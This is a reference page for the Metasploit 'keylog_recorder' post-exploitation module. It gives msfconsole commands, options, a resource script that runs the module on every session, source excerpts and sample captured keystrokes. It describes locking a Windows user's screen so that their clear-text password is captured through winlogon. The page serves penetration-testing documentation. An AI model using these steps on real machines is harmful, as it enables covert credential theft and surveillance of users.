Windows Capture Keystroke Recorder - Metasploit


This page contains detailed information about how to use the post/windows/capture/keylog_recorder metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Capture Keystroke Recorder
Module: post/windows/capture/keylog_recorder
Source code: modules/post/windows/capture/keylog_recorder.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module can be used to capture keystrokes. To capture keystrokes when the session is running as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/capture/keylog_recorder

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/capture/keylog_recorder
msf post(keylog_recorder) > show options
    ... show and set options ...
msf post(keylog_recorder) > set SESSION session-id
msf post(keylog_recorder) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/capture/keylog_recorder")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Overview


This module captures keystrokes from a Windows target and saves them to a text file in loot. Keystrokes can be captured from explorer.exe, winlogon.exe, or a specific process of your choice. The module is capable of being run as a job to keep the Framework's user interface available for other tasks.

Requirements


  • Windows Meterpreter Session

Options


  • CAPTURE_TYPE - This option sets the process where the module records keystrokes. Accepted: explorer, winlogon, or pid. Default value is explorer.

  • INTERVAL - The interval in seconds that the module uses for recording keystrokes. The log file goes to a new line at the end of each interval. Default value is 5 seconds.

  • LOCKSCREEN - This option locks the screen of the target when set to TRUE. CAPTURE_TYPE must be set to winlogon. MIGRATE must be set to TRUE or the session must already be in winlogon.exe. Defalt value is FALSE.

  • MIGRATE - This option migrates the session based on the CAPTURE_TYPE. Explorer.exe for explorer, winlogon.exe for winlogon, or a specified PID for pid. Default value is FALSE.

  • PID - The PID of a process to migrate the session into. CAPTURE_TYPE of pid must be set, and the sepecified PID must exist on the target machine.

  • SESSION - The session to run the module on.

Advanced Options

  • ShowKeystrokes - This option prints the captured keystrokes to the Framework UI on the specified interval. Default is FALSE.
  • TimeOutAction - This option sets the behavior the module takes if the key capture request times out. (See below.) Accepted: wait or exit. Default value is wait.

Usage


The Meterpreter session must be located in an appropriate process for keystroke recording to work properly. This is described in the below-listed capture types. This module can migrate the session if MIGRATE is set to TRUE. If winlogon or PID migration fails, the module will exit. Set MIGRATE to FALSE if migration will be performed manually or through another module.

Capture Types

  • Explorer.exe - Session must be in explorer.exe - The most common capture type. Keystrokes are recorded from most user level applications. Applications running at an elevated level will likely not get recorded. NOTE: Sessions running with elevated privileges are downgraded to user level when migrated into explorer.exe. It is recommended that a second session be opened for keystroke recording if elevated priveledges are to be maintained.

  • Winlogon.exe - Session must be in winlogon.exe - Administrator or SYSTEM rights are required to migrate to winlogon.exe. Keylogging from this process records usernames and passwords as users log in. This capture type does not record keystrokes from any other process. Setting LOCKSCREEN to true locks Windows when the module is executed. This forces the user to unlock the computer, and their password is captured.

  • PID - Session must be in the specific process to be recorded. - This option is useful for recording keystrokes in applications or process that run with elevated priveledges. However, admin or SYSTEM rights are required to migrate to these processes. Only keystrokes from the specified process are recorded.

Running Module as a Job


It is recommended to run this module as a job using: exploit -j or run -j. As a job, the module runs in the background preventing it from tying up the Framework's user interface. To stop capturing keystrokes, kill the job using jobs -k. The module records the last few keystrokes before exit. Stopping the job can take up to 30 seconds. If the session is killed, the key log job shuts down automatically.

TimeOutAction

This module has two actions it can take if module requests time out. This occurs with packet-based payloads like reverse_http or reverse_https when the target system stops responding to requests for a specific period of time. The default is 300 seconds. Sessions can stop responding due to various events such as network problems, system shut down, system sleep, or user log off.

  • WAIT - With this option selected, the module suspends attempting to gather keystrokes after the timeout. It waits for the session to become active again, then resumes capturing keystrokes. The output log reflects that recording was suspended along with a timestamp. If the session becomes active again, the log indicates this along with a timestamp. The wait option allows keystrokes to be logged over multiple system sleep cycles. In the event that the session dies, the recording job is stopped automatically.

  • EXIT - With this option selected, the module exits and the job is killed when the timeout occurs. The output log reflects the exit along with a timestamp.

Running Module Stand Alone

When running the module stand alone, it will prevent the Framework UI from being use for anything else until you exit the module. Use CTRL-C to exit. The module will save the last few keystrokes. This may take up to 30 seconds to complete.

Scenarios


Keystroke log from explorer.exe on JULY with user JULY\User started at 2016-07-13 21:01:56 -0500

This is an ex
ample output from keylog_recorder.
    On this line I make a typpor      
o.  
  Username  Password  
  
                            
 Copy            c                v    

Keylog Recorder timed out - now waiting at 2016-07-13 21:09:33 -0500


Keylog Recorder resumed at 2016-07-13 21:11:36 -0500

  T
his is keys logged after the computer
 was put to sleep and then woken back up.
  

Keylog Recorder exited at 2016-07-13 21:12:44 -0500

Go back to menu.

Msfconsole Usage


Here is how the windows/capture/keylog_recorder post exploitation module looks in the msfconsole:

msf6 > use post/windows/capture/keylog_recorder

msf6 post(windows/capture/keylog_recorder) > show info

       Name: Windows Capture Keystroke Recorder
     Module: post/windows/capture/keylog_recorder
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <[email protected]>
  Josh Hale <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CAPTURE_TYPE  explorer         no        Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
  INTERVAL      5                no        Time interval to save keystrokes in seconds
  LOCKSCREEN    false            no        Lock system screen.
  MIGRATE       false            no        Perform Migration.
  PID                            no        Process ID to migrate to
  SESSION                        yes       The session to run this module on.

Description:
  This module can be used to capture keystrokes. To capture keystrokes 
  when the session is running as SYSTEM, the MIGRATE option must be 
  enabled and the CAPTURE_TYPE option should be set to one of 
  Explorer, Winlogon, or a specific PID. To capture the keystrokes of 
  the interactive user, the Explorer option should be used with 
  MIGRATE enabled. Keep in mind that this will demote this session to 
  the user's privileges, so it makes sense to create a separate 
  session for this task. The Winlogon option will capture the username 
  and password entered into the logon and unlock dialog. The 
  LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to 
  for the user to enter their clear-text password. It is recommended 
  to run this module as a job, otherwise it will tie up your framework 
  user interface.

Module Options


This is a complete list of options available in the windows/capture/keylog_recorder post exploitation module:

msf6 post(windows/capture/keylog_recorder) > show options

Module options (post/windows/capture/keylog_recorder):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CAPTURE_TYPE  explorer         no        Capture keystrokes for Explorer, Winlogon or PID (Accepted: explorer, winlogon, pid)
   INTERVAL      5                no        Time interval to save keystrokes in seconds
   LOCKSCREEN    false            no        Lock system screen.
   MIGRATE       false            no        Perform Migration.
   PID                            no        Process ID to migrate to
   SESSION                        yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/capture/keylog_recorder post exploitation module:

msf6 post(windows/capture/keylog_recorder) > show advanced

Module advanced options (post/windows/capture/keylog_recorder):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ShowKeystrokes  false            no        Show captured keystrokes
   TimeOutAction   wait             yes       Action to take when session response timeout occurs. (Accepted: wait, exit)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/capture/keylog_recorder module can do:

msf6 post(windows/capture/keylog_recorder) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/capture/keylog_recorder post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/capture/keylog_recorder) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

INTERVAL value out of bounds. Setting to 5.


Here is a relevant code snippet related to the "INTERVAL value out of bounds. Setting to 5." error message:

83:	    @timed_out_age = nil # Session age when it timed out
84:	    @interval = datastore['INTERVAL'].to_i
85:	    @wait = datastore['TimeOutAction'] == "wait" ? true : false
86:	
87:	    if @interval < 1
88:	      print_error("INTERVAL value out of bounds. Setting to 5.")
89:	      @interval = 5
90:	    end
91:	  end
92:	
93:	  # This function sets the log file and loot entry.

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

108:	  #
109:	  # @return [void] A useful return value is not expected here
110:	  def lock_screen
111:	    print_status("Locking the desktop...")
112:	    lock_info = session.railgun.user32.LockWorkStation()
113:	    if lock_info["GetLastError"] == 0
114:	      print_status("Screen has been locked")
115:	    else
116:	      print_error("Screen lock failed")
117:	    end
118:	  end

Screen lock failed


Here is a relevant code snippet related to the "Screen lock failed" error message:

111:	    print_status("Locking the desktop...")
112:	    lock_info = session.railgun.user32.LockWorkStation()
113:	    if lock_info["GetLastError"] == 0
114:	      print_status("Screen has been locked")
115:	    else
116:	      print_error("Screen lock failed")
117:	    end
118:	  end
119:	
120:	  # This function returns the process name that the session is running in.
121:	  #

UAC is enabled on this host! Winlogon migration will be blocked. Exiting...


Here is a relevant code snippet related to the "UAC is enabled on this host! Winlogon migration will be blocked. Exiting..." error message:

140:	  def process_migrate
141:	    captype = datastore['CAPTURE_TYPE']
142:	
143:	    if captype == "winlogon"
144:	      if is_uac_enabled? and not is_admin?
145:	        print_error("UAC is enabled on this host! Winlogon migration will be blocked. Exiting...")
146:	        return false
147:	      else
148:	        return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
149:	      end
150:	    end

Could not migrate to <PROC_NAME>. Exiting...


Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>. Exiting..." error message:

172:	  #
173:	  # @return [TrueClass] if it successfully migrated
174:	  # @return [FalseClass] if it failed to migrate
175:	  def migrate(target_pid, proc_name, current_pid)
176:	    if !target_pid
177:	      print_error("Could not migrate to #{proc_name}. Exiting...")
178:	      return false
179:	    end
180:	
181:	    print_status("Trying #{proc_name} (#{target_pid})")
182:	

Could not migrate to <PROC_NAME>. Exiting...


Here is a relevant code snippet related to the "Could not migrate to <PROC_NAME>. Exiting..." error message:

188:	    begin
189:	      client.core.migrate(target_pid)
190:	      print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
191:	      return true
192:	    rescue Rex::Post::Meterpreter::RequestError => error
193:	      print_error("Could not migrate to #{proc_name}. Exiting...")
194:	      print_error(error.to_s)
195:	      return false
196:	    end
197:	  end
198:	

Could not migrate to PID <TARGET_PID>. Exiting...


Here is a relevant code snippet related to the "Could not migrate to PID <TARGET_PID>. Exiting..." error message:

200:	  #
201:	  # @return [TrueClass] if it successfully migrated
202:	  # @return [FalseClass] if it failed to migrate
203:	  def migrate_pid(target_pid, current_pid)
204:	    if !target_pid
205:	      print_error("Could not migrate to PID #{target_pid}. Exiting...")
206:	      return false
207:	    end
208:	
209:	    if !has_pid?(target_pid)
210:	      print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")

Could not migrate to PID <TARGET_PID>. Does not exist! Exiting...


Here is a relevant code snippet related to the "Could not migrate to PID <TARGET_PID>. Does not exist! Exiting..." error message:

205:	      print_error("Could not migrate to PID #{target_pid}. Exiting...")
206:	      return false
207:	    end
208:	
209:	    if !has_pid?(target_pid)
210:	      print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
211:	      return false
212:	    end
213:	
214:	    print_status("Trying PID: #{target_pid}")
215:	

Could not migrate to PID <TARGET_PID>. Exiting...


Here is a relevant code snippet related to the "Could not migrate to PID <TARGET_PID>. Exiting..." error message:

221:	    begin
222:	      client.core.migrate(target_pid)
223:	      print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
224:	      return true
225:	    rescue Rex::Post::Meterpreter::RequestError => error
226:	      print_error("Could not migrate to PID #{target_pid}. Exiting...")
227:	      print_error(error.to_s)
228:	      return false
229:	    end
230:	  end
231:	

Failed to start the keylog recorder


Here is a relevant code snippet related to the "Failed to start the keylog recorder" error message:

238:	    begin
239:	      print_status("Starting the keylog recorder...")
240:	      session.ui.keyscan_start
241:	      return true
242:	    rescue
243:	      print_error("Failed to start the keylog recorder: #{$!}")
244:	      return false
245:	    end
246:	  end
247:	
248:	  # This function dumps the keyscan and uses the API function to parse

Rex::TimeoutError


Here is a relevant code snippet related to the "Rex::TimeoutError" error message:

277:	            vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
278:	            rec = 0
279:	          end
280:	        end
281:	      rescue ::Exception => e
282:	        if e.class.to_s == "Rex::TimeoutError"
283:	          @timed_out_age = get_session_age
284:	          @timed_out = true
285:	
286:	          if @wait
287:	            time_stamp("timed out - now waiting")

Session: <SESSION> is not responding. Waiting...


Here is a relevant code snippet related to the "Session: <SESSION> is not responding. Waiting..." error message:

283:	          @timed_out_age = get_session_age
284:	          @timed_out = true
285:	
286:	          if @wait
287:	            time_stamp("timed out - now waiting")
288:	            vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
289:	          else
290:	            time_stamp("timed out - exiting")
291:	            print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
292:	            rec = 0
293:	          end

Session: <SESSION> is not responding. Exiting keylog recorder.


Here is a relevant code snippet related to the "Session: <SESSION> is not responding. Exiting keylog recorder." error message:

286:	          if @wait
287:	            time_stamp("timed out - now waiting")
288:	            vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
289:	          else
290:	            time_stamp("timed out - exiting")
291:	            print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
292:	            rec = 0
293:	          end
294:	        elsif e.class.to_s == "Interrupt"
295:	          print_status("User interrupt.")
296:	          rec = 0

Keylog recorder on session: <SESSION> encountered error: <E.CLASS> (<E>) Exiting...


Here is a relevant code snippet related to the "Keylog recorder on session: <SESSION> encountered error: <E.CLASS> (<E>) Exiting..." error message:

293:	          end
294:	        elsif e.class.to_s == "Interrupt"
295:	          print_status("User interrupt.")
296:	          rec = 0
297:	        else
298:	          print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
299:	          @timed_out = true
300:	          rec = 0
301:	        end
302:	      end
303:	    end

Keylog recorder encountered error: <E.CLASS.TO_S> (<E.TO_S>) Exiting...


Here is a relevant code snippet related to the "Keylog recorder encountered error: <E.CLASS.TO_S> (<E.TO_S>) Exiting..." error message:

342:	
343:	    begin
344:	      sleep(@interval)
345:	      write_keylog_data
346:	    rescue ::Exception => e
347:	      print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" # Don't care about timeout, just exit
348:	      session.response_timeout = last_known_timeout
349:	      return
350:	    end
351:	    session.ui.keyscan_stop rescue nil
352:	    session.response_timeout = last_known_timeout

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Carlos Perez <carlos_perez[at]darkoperator.com>
  • Josh Hale <jhale85446[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.